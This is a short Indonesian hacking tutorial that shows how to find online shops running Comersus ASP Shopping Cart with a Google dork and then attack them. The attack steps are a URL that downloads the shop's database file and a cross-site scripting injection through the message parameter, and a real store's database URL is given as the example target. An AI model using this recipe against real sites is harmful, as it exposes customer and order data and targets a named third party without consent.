Tutorial XSS Hacking

Berikut Langkah tutorial XSS Hacking yang di sharing oleh Jo2.
merupakan perkembangan tutorial dari EA_NGEL and all frieNds

Google Dork : inurl:.asp? Powered by Comersus ASP Shopping Cart

--//--> Exploit :

1) Remote Database Disclure :

http://[website]/[script]/database/commersus.mdb

2) Remote XSS exploit :

http://[website]/[script]/comersus_message.asp?message=[Empty`proMises itu ganteng]

contoh :
http://www.tarkentonsports.com/Comersus/database/comersus.mdb

HasiLnya : Open this -> Empty`proMises